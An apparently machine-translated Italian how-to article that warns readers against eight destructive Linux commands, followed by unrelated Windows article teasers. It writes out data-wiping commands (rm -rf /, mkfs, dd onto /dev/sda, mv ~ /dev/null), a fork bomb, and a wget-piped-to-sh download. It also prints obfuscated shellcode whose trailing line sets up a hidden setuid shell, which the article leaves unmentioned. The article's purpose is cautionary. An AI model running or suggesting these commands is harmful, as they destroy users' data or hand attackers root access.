8 comandi mortali che non dovrebbero mai essere eseguiti su Linux

8 comandi mortali che non dovrebbero mai essere eseguiti su Linux

I comandi del terminale su Linux sono piuttosto distruttivi, se esegui un comando distruggerà il tuo sistema. Linux non richiede conferma durante l'esecuzione di qualsiasi comando.

Imparare quali comandi non dovrebbero essere eseguiti su Linux aiuta a proteggere il tuo sistema quando lavori su Linux. Di seguito sono riportati 8 comandi mortali che non dovresti mai eseguire su Linux.

8 comandi mortali che non dovrebbero mai essere eseguiti su Linux

1. rm -rf / - cancella tutto

Il comando rm -rf / eliminerà tutto, inclusi i file sul disco rigido e i file sui dispositivi multimediali collegati al computer.

Per comprendere meglio questo comando, analizzatelo come segue:

  • rm – Elimina i seguenti file.
  • -rf – esegue rm (elimina tutti i file e le cartelle all'interno di una cartella specificata) ed elimina forzatamente tutti i file senza prima chiedertelo.
  • / – Indica che rm (ad esempio rm) inizia nella directory principale, inclusi tutti i file sul tuo computer.

Linux seguirà felicemente questo comando ed eliminerà tutto senza avvisarti, quindi fai attenzione quando usi questo comando.

Inoltre il comando rm viene utilizzato anche in modi molto pericolosi. Ad esempio, rm –rf ~ eliminerà tutti i file nella cartella Home e rm -rf .* eliminerà tutti i file di configurazione.

2. Comando mascherato rm –rf /

Ecco uno snippet di codice in tutto il Web:

char esp[] __attribute__ ((section(".text"))) /* versione esp */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" " \xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7 " "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80 \x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp - p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";

Questa è essenzialmente un'altra versione di rm –rf / – l'esecuzione di questo comando eliminerà anche tutti i tuoi file, proprio come l'esecuzione di rm –rf /.

3. :(){ :|: & };: – Un tipo di blockbuster

8 comandi mortali che non dovrebbero mai essere eseguiti su Linux

La riga di comando seguente sembra molto semplice ma la sua funzione è in realtà molto pericolosa:

:(){ :|: & };:

Questo breve comando creerà nuove copie di se stesso. Cioè, il processo di backup stesso sarà continuo e causerà rapidamente il riempimento della CPU e della memoria.

Inoltre può causare il blocco del computer. Si tratta fondamentalmente di un attacco Denial of Service (DoS).

4. mkfs.ext4 /dev/sda1 – Formati del disco rigido

Il comando mkfs.ext4 /dev/sda1 è abbastanza facile da capire:

  • mkfs.ext4: crea un file system ext4 sul seguente dispositivo.
  • /dev/sda1 - identifica la prima partizione sul primo disco rigido, che potrebbe essere il disco rigido in uso.

Combinare questi due comandi equivale a formattare l'unità C: su Windows: elimina tutti i file sulla prima partizione e sostituiscili con il nuovo file system.

Questo comando può apparire in molti formati diversi, ad esempio: mkfs.ext3 /dev/sdb2 formatterà la seconda partizione sul secondo disco rigido con il file system ext3.

5. comando > /dev/sda - scrivi direttamente su un disco rigido

8 comandi mortali che non dovrebbero mai essere eseguiti su Linux

Riga di comando > /dev/sda: esegui un comando e invia il risultato di quel comando direttamente al tuo primo disco rigido, scrivendo i dati direttamente sul disco rigido e distruggendo il tuo file system.

  • comando – Esegue un comando (può essere qualsiasi comando).
  • > – invia l'output del comando alla seguente posizione.
  • /dev/sda – Scrive l'output del comando direttamente sul dispositivo del disco rigido.

6. dd if=/dev/random of=/dev/sda – scrive dati stupidi sul disco rigido

La riga dd if=/dev/random of=/dev/sda cancellerà i dati su uno dei tuoi dischi rigidi.

  • dd – consiste nell'eseguire una copia di basso livello da una posizione all'altra.
  • if=/dev/random – Usa /dev/random come input – potresti vedere indirizzi come /dev/zero.
  • of=/dev/sda – output sul primo disco rigido, sostituendo il file system con dati stupidi casuali.

7. mv ~ /dev/null – Sposta la tua directory Home in un buco nero

/dev/null - spostare qualcosa in /dev/null equivale a distruggerlo. Pensa a /dev/null come a un buco nero. mv ~ /dev/null invierà tutti i tuoi file personali in un buco nero.

  • mv – sposta il seguente file o cartella in un'altra posizione.
  • ~ – L'intera cartella Home.
  • /dev/null – Sposta la tua cartella Home in /dev/null, distruggerà tutti i tuoi file ed eliminerà le copie originali.

8. wget http://example.com/qualcosa -O – | sh: carica ed esegui uno script

Il comando precedente scaricherà uno script dal Web e invierà lo script a sh, che eseguirà il contenuto dello script. Questo può essere pericoloso se non sei sicuro di cosa sia uno script o non disponi di una fonte di script attendibile: non eseguire script non attendibili.

wget – scarica un file.

http://example.com/something: scarica i file da questa posizione.

| – Invia tramite pipe l'output del comando wget (file della versione scaricata) direttamente a un altro comando.

sh – invia il file al comando sh.

Fare riferimento ad alcuni altri articoli di seguito:

Divertirsi!


5 modi più semplici per inserire la chiave di Windows 10

5 modi più semplici per inserire la chiave di Windows 10

Quando la vecchia chiave Windows 10 è scaduta, è necessario inserire una nuova chiave per sostituirla. Scopri i 5 metodi più semplici per cambiare la chiave di attivazione di Windows 10.

Come creare un nuovo Utente su Windows 10 utilizzando Gestione Computer e Pannello di Controllo

Come creare un nuovo Utente su Windows 10 utilizzando Gestione Computer e Pannello di Controllo

Scopri come creare un nuovo utente su Windows 10 senza utilizzare un account Microsoft. Attraverso Gestione Computer e Pannello di Controllo, è possibile proteggere i dati e gestire gli accessi in modo efficace.

Come modificare le impostazioni regionali su Windows 10

Come modificare le impostazioni regionali su Windows 10

Scopri come modificare le impostazioni regionali su Windows 10 per personalizzare l

Come scrivere il simbolo del copyright © (simbolo del copyright) su un computer

Come scrivere il simbolo del copyright © (simbolo del copyright) su un computer

Il simbolo del copyright (©) è un carattere speciale comunemente utilizzato da fotografi e creatori di contenuti. Scopri come inserirlo su Windows e Mac con metodi aggiornati.

Come risolvere lerrore Il nome del PC non è valido su Windows 11

Come risolvere lerrore Il nome del PC non è valido su Windows 11

Scopri come correggere l

Come eliminare le cartelle Rullino fotografico e Immagini salvate in Windows 10

Come eliminare le cartelle Rullino fotografico e Immagini salvate in Windows 10

Scopri come spostare, nascondere o eliminare le cartelle Rullino fotografico e Immagini salvate in Windows 10 in modo efficace. Segui i nostri passaggi e suggerimenti per semplificare la tua esperienza.

Come trovare la posizione dei file scaricati sul Chromebook

Come trovare la posizione dei file scaricati sul Chromebook

Scopri come localizzare facilmente i file scaricati su Chromebook utilizzando diversi metodi efficaci.

Come visualizzare ed eliminare la cronologia delle attività su Windows 10

Come visualizzare ed eliminare la cronologia delle attività su Windows 10

Fai riferimento a come visualizzare ed eliminare la cronologia delle attività su Windows 10 nell

Istruzioni per lutilizzo dellindirizzo IP 192.168.2.2

Istruzioni per lutilizzo dellindirizzo IP 192.168.2.2

Scopri come utilizzare l

Come modificare le impostazioni degli effetti visivi in ​​Windows 10

Come modificare le impostazioni degli effetti visivi in ​​Windows 10

Scopri come modificare le impostazioni degli effetti visivi in Windows 10 per migliorare le prestazioni del PC. Questo articolo guida ti mostrerà tutti i passaggi necessari.